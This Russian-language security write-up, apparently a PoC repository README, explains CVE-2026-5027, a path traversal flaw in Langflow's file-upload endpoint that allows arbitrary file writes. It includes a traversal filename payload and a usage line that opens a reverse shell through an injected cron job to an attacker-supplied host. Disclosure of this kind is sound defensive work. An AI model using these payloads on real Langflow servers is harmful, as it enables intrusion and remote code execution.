
Langflow, удалённое выполнение кода (RCE) через внедрение Cron Job посредством Path Traversal
Этот пост — исследовательская статья, опубликованная EQSTLab.
Спасибо Yahia Hamza, который сообщил об этой уязвимости и проанализировал её.
★ CVE-2026-5027 Langflow: обход пути / произвольная запись файлов PoC ★

CVE-2026-5027 : Уязвимость произвольной записи файлов в Langflow
описание: Уязвимость обхода пути в Langflow <= 1.8.4 позволяет злоумышленникам записывать произвольные файлы за пределами предназначенного каталога загрузки с помощью специально сформированного multipart-параметра filename, передаваемого в конечную точку /api/v2/files. В развёртываниях, где включён автоматический вход или аутентификация иным образом реализована недостаточно строго, эта проблема может быть использована для достижения удалённого выполнения кода путём записи контролируемого злоумышленником содержимого в критически важные места файловой системы.
Соберите и запустите уязвимую среду с помощью Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Уязвимая конечная точка
POST /api/v2/files
Проблема заключается в том, что функция загрузки доверяет значению multipart-параметра filename, предоставленному клиентом. Вместо генерации безопасного имени хранения на стороне сервера или ограничения итогового пути выделенным каталогом загрузки уязвимый путь выполнения кода позволяет таким последовательностям обхода, как ../, влиять на конечный путь назначения.
В результате злоумышленник может выйти за пределы предполагаемого корневого каталога хранилища и заставить приложение записывать файлы в произвольные места файловой системы сервера.
Типичный сценарий эксплуатации выглядит следующим образом:
/api/v2/files.filename, содержащий последовательности обхода пути.По своей сути это проблема CWE-22: Некорректное ограничение имени пути к ограниченному каталогу.
Уязвимость вызвана недостаточной очисткой и проверкой управляемых пользователем путей к файлам при обработке загрузки. Приложение принимает исходное имя файла от клиента и передаёт его в процесс сохранения без надлежащего применения нормализации пути и ограничения его пределов.
С точки зрения защиты, опасный шаблон концептуально аналогичен следующему:
save_path = base_dir / file.filename
Если file.filename содержит компоненты обхода пути, например:
../../../../tmp/poc.txt
то итоговый разрешённый путь может указывать за пределы base_dir, что позволяет выполнить произвольную запись файлов.
Уязвимости произвольной записи файлов часто серьёзнее стандартных проблем неограниченной загрузки, поскольку злоумышленник контролирует не только содержимое файла, но и путь назначения. В зависимости от привилегий процесса Langflow во время выполнения это может позволить:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Этот репозиторий не предназначен для содействия несанкционированной эксплуатации экземпляров Langflow. Цель этого проекта — помочь исследователям безопасности, специалистам по защите и разработчикам понять уязвимость, проверить подверженность ей в контролируемых средах и применить эффективные меры защиты.
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027